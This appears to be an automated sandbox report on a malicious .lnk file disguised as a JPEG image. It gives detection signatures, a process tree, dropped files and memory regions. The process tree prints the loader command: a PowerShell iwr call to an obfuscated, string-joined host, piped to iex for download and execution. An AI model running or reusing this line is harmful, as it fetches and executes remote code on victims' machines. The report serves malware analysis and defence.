Analysis

  • max time kernel
    300s
  • max time network
    253s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 03:56

General

  • Target
    IMG_20260727_080418.jpg.lnk
  • Size 1KB
  • Sample260729-ehhc3sgk41
  • SHA256 c682ad7b0e2331d6ee19954c0f5faa5a8ba353f005f5e333c5993d86a61ea182
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_080418.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('ser','hotoinstayno','w.shop','vp','re')[4,0,3,1,2] -join $gM5) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5616
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vao4iran\vao4iran.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES815B.tmp" "c:\Users\Admin\AppData\Local\Temp\vao4iran\CSCD5E520E8932B47ACADA297E2F12B6EC.TMP"
          4⤵
            PID:2744

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
          • Size 818B
          • SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
          • Size 754B
          • SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
          • Size 11KB
          • SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          fetch.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
          • Size 79B
          • SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
          • MD5 SHA1 SHA512 TLSH

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\commonjs\package.json
          • Size 28B
          • SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
          • MD5 SHA1 SHA512

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\esm\package.json
          • Size 26B
          • SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
          • MD5 SHA1 SHA512

          RES815B.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES815B.tmp
          • Size 1KB
          • SHA256 a1db41e2e847be15299e3e3faf1338a85e9f0779f7a41fc3bf35747ce9326f04
          • MD5 SHA1 SHA512 TLSH

          vao4iran.dll

          • Path C:\Users\Admin\AppData\Local\Temp\vao4iran\vao4iran.dll
          • Size 3KB
          • SHA256 cf6a5ccdd6350dcdf3512c35aa61aa68e6b582e54da88a3b9eeaaf7fcebfca3c
          • MD5 SHA1 SHA512 TLSH

          CSCD5E520E8932B47ACADA297E2F12B6EC.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\vao4iran\CSCD5E520E8932B47ACADA297E2F12B6EC.TMP
          • Size 652B
          • SHA256 abfbd055c6ce8bb772e6595d775568219e609b72eee41303cfb322685813e6c3
          • MD5 SHA1 SHA512 TLSH

          vao4iran.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\vao4iran\vao4iran.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          vao4iran.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\vao4iran\vao4iran.cmdline
          • Size 369B
          • SHA256 0a9c7e457ab502e59fec559464f0cd83f813fa05b7e8097a37ad20700075ab6f
          • MD5 SHA1 SHA512 TLSH

          memory/5616-13-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-36-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-17-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-18-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-14-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-15-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-2-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp

          memory/5616-12-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-31-0x00000250C5190000-0x00000250C5198000-memory.dmp

          memory/5616-33-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-34-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-35-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-16-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-41-0x00000250C5650000-0x00000250C566E000-memory.dmp

          memory/5616-42-0x00000250C5670000-0x00000250C5722000-memory.dmp

          memory/5616-43-0x00000250C5530000-0x00000250C553A000-memory.dmp

          memory/5616-44-0x00000250C5650000-0x00000250C5662000-memory.dmp

          memory/5616-45-0x00000250C5530000-0x00000250C553A000-memory.dmp

          memory/5616-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-9-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-8-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-7-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/5616-5-0x00000250C5110000-0x00000250C5132000-memory.dmp